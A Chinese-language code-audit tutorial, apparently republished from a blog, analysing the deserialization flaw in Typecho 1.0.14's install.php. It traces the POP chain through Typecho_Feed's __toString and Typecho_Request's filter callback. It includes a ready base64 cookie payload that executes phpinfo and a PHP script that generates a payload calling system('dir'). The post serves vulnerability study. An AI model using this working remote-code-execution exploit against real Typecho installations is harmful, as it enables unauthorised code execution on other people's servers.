16-PHP代码审计——Typecho1.0.14反序列化漏洞
Posted songly_
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了16-PHP代码审计——Typecho1.0.14反序列化漏洞相关的知识,希望对你有一定的参考价值。
Typecho是一个基于php5开发的开源博客cms系统,,在v1.0.14版本中存在反序列化漏洞,主要是install目录下的install.php文件内使用了unserialize函数反序列化,而Typecho_Cookie类的get()方法获取的__typecho_config参数存在一些危险可控的操作(调用了魔法函数),并且对__typecho_config参数没有任何过滤,导致可以通过pop利用链注入恶意的反序列化对象,执行任意php代码。
漏洞受影响版本:
Typecho_v1.0.14以下
环境:
php5以上
Typecho_v1.0.14.tar
poc:
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NdoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjk6InBocGluZm8oKSI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=
开始漏洞分析
通过hackbar工具访问网址http://www.typecho.com/install.php?finish=a ,点击EXECUTE提交poc,如下所示:
提交后,网站返回的是phpinfo执行的页面,说明漏洞利用成功,如下所示:
现在我们分析一下这个漏洞是如何产生的。
根据访问的请求(http://www.typecho.com/install.php?finish=a)定位到install.php文件
install.php源文件首先接收了请求中的finish参数,然后校验了HTTP_REFERER字段,因此提交的请求中HTTP_REFERER字段不能为空。
接着执行了这段代码:
……
<?php if (isset($_GET['finish'])) : ?>
…...
//反序列化
$config = unserialize(base64_decode(Typecho_Cookie::get('__typecho_config')));
Typecho_Cookie::delete('__typecho_config');
//将反序列化后的config传给了Typecho_Db类
$db = new Typecho_Db($config['adapter'], $config['prefix']);
$db->addServer($config, Typecho_Db::READ | Typecho_Db::WRITE);
Typecho_Db::set($db);
Typecho_Cookie类获取了__typecho_config参数的内容并进行base64解密,又调用了unserialize函数对__typecho_config反序列化。
找到Typecho_Cookie类,分析Typecho_Cookie类的get方法做了哪些事情
public static function get($key, $default = NULL){
$key = self::$_prefix . $key;
//获取__typecho_config的内容
$value = isset($_COOKIE[$key]) ? $_COOKIE[$key] : (isset($_POST[$key]) ? $_POST[$key] : $default);
//返回
return is_array($value) ? $default : $value;
}
get函数主要是从cookie中获取到__typecho_config的内容并返回,由于cookie是可以更改的,这意味着__typecho_config是可控的。根据之前我们学习反序列化漏洞的原理可知,既然是反序列化操作,并且__typecho_config是可控的,下一步就是分析反序列操作中执行了哪些魔法函数。
反序列化后,config的内容如下:
config数组中的adapter元素其实是Typecho_Feed对象。
然后将反序列化后的config传给了Typecho_Db类,继续分析:
public function __construct($adapterName, $prefix = 'typecho_'){
/** 获取适配器名称 */
$this->_adapterName = $adapterName;
/** 数据库适配器 */
//将adapter与字符串进行拼接
$adapterName = 'Typecho_Db_Adapter_' . $adapterName;
if (!call_user_func(array($adapterName, 'isAvailable'))) {
throw new Typecho_Db_Exception("Adapter {$adapterName} is not available");
}
$this->_prefix = $prefix;
/** 初始化内部变量 */
$this->_pool = array();
$this->_connectedPool = array();
$this->_config = array();
//实例化适配器对象
$this->_adapter = new $adapterName();
}
直接跳转到了Typecho_Db类的定义中,__construct构造函数对传入的参数进行初始化,在第三行代码中将Typecho_Db_Adapter字符串和变量adapterName进行拼接了,值得注意的是:此时adapterName是一个对象,换句话说,当把adapterName对象当作一个字符串进行拼接,那么就会调用该对象的__toString()魔法函数,并且由于adapterName可控,如果将adapterName指向一个类的话,那么就可能造成反序列漏洞。
在当前项目中查找哪些类调用了__toString,并有一些危险的操作,经过一番查找最终找到了Typecho_Feed类的__toString方法中有一个危险的操作:
public function __toString(){
……
$content .= '<dc:creator>' . htmlspecialchars($item['author']->screenName) . '</dc:creator>' . self::EOL;
……
}
由于toString方法中的代码过多,这里只贴出部分关键代码,有一行代码访问了$item['author']->screenName 。根据前面的分析可知,$item是Typecho_Feed中的一个属性,$item的数据类型是一个数组并且可控的,那么$item['author']也是可控的,如果将$item['author']指向一个不存在screenName属性的类,那么$item['author']->screenName实际上是访问了一个对象中不存在的属性,这时候就会调用__get()魔法函数。
接下来pop漏洞利用链的方向就是需要找到一个没有screenName属性,并且调用了__get()魔法函数的类,最终找到Typecho_Request类。
这也是为什么提交的poc中要构造Typecho_Request类,继续跟进分析__get()函数
__get()魔法函数内部实际上是调用了get函数,既然参数key是可控的,那么value也是可控的,通过this对象的_params属性来访问screenName的内容,调用了_applyFilter函数。
跟进分析_applyFilter函数:
private function _applyFilter($value) {
if ($this->_filter) {
foreach ($this->_filter as $filter) {
//回调函数
$value = is_array($value) ? array_map($filter, $value) :
call_user_func($filter, $value);
}
$this->_filter = array();
}
return $value;
}
实际上是调用了Typecho_Request类的_applyFilter函数,该函数内部调用了array_map函数和call_user_func函数,并将value和Typecho_Request对象的_filter属性作为参数(这两个参数都是可控的),并且这两个php内置的系统函数会自动为参数调用回调函数,filter是回调函数,value是回调函数的参数。
并且_applyFilter函数内部没有对value和filter做任何的过滤,最终导致漏洞产生。
到这里基本上pop链构造完毕,整个pop利用链流程如下所示:
下一步就是根据pop利用链编写poc代码了,如下所示:
<?php
class Typecho_Feed{
const RSS2 = 'RSS 2.0';
private $_type;
private $_items;
public function __construct(){
//__toString函数检查
$this->_type = self::RSS2;
//触发__get函数
$_item['author'] = new Typecho_Request();
//触发错误
$_item['category'] = array(new Typecho_Request());
$this->_items[0] = $_item;
}
}
class Typecho_Request{
private $_params = array();
private $_filter = array();
public function __construct(){
//回调函数的参数
$this->_params['screenName'] = "dir";
//回调函数
$this->_filter[0] = "system";
}
}
$data = new Typecho_Feed();
$poc = array(
'adapter' => $data,
'prefix' => "typecho_"
);
//序列化
$s = serialize($poc);
//base64编码
echo base64_encode($s);
?>
将程序生成的poc给__typecho_config,如下所示:
system(“dir”)函数执行把当前路径的文件都显示出来了,漏洞分析完毕。
参考资料:
以上是关于16-PHP代码审计——Typecho1.0.14反序列化漏洞的主要内容,如果未能解决你的问题,请参考以下文章